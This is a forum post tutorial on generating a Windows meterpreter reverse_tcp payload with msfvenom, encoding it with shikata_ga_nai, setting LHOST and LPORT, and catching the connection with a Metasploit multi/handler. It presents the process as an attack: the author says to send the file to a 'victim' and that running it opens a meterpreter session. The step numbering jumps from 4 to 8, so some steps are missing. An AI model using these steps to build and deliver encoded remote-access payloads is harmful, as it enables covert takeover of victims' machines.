Apr 18, 2020 12:05 AM
(This post was last modified: Apr 18, 2020 06:50 PM by SIM-4646382.)
![[Image: ig7XYw7.jpg]](https://i.imgur.com/ig7XYw7.jpg)
Msfvenom is a combination of Msfpayload and msfencode, putting both of these tools into a single framework instance. The advantages of msfvenom are:
.One single tool
.Standardized command line options
.Increased speed
Requirements :
1. Metasploit framework
2. Linux Distro
Step by Step :
1. Open your terminal (CTRL + ALT + T) and type msfvenom -h to view the available options for this tools.
2. In this tutorial I want to create an exploit generated by msfvenom with meterpreter payload and I also want to encode it using shikata_ga_nai encoder. To know the available options to set up this exploit, you can use -o options after you set up your payload.
3. Yep there it is, we need to set up the LHOST and LPORT to make this exploit work. My IP address is 127.0.0.1 so I set the LHOST to that IP, and I want to set the LPORT to 443 so I will receive connection from victim on port 443 if the exploit succeed.
Information :
-p windows/meterpreter/reverse_tcp --> I use meterpreter reverse_tcp for the payload
-e x86/shikata_ga_nai --> encoder that I use for this tutorial
-i 5-b '\x00' --> remove the bad chars
4. Run your metasploit console by execute msfconsole on your terminal.
use exploit/multi/handler --> to handle incoming connection
set payload windows/meterpreter/reverse_tcp --> reverse tcp payload
show options --> show available options to set
8. When you send the exploit to victim, and victim execute it, we got this : meterpreter session opened.

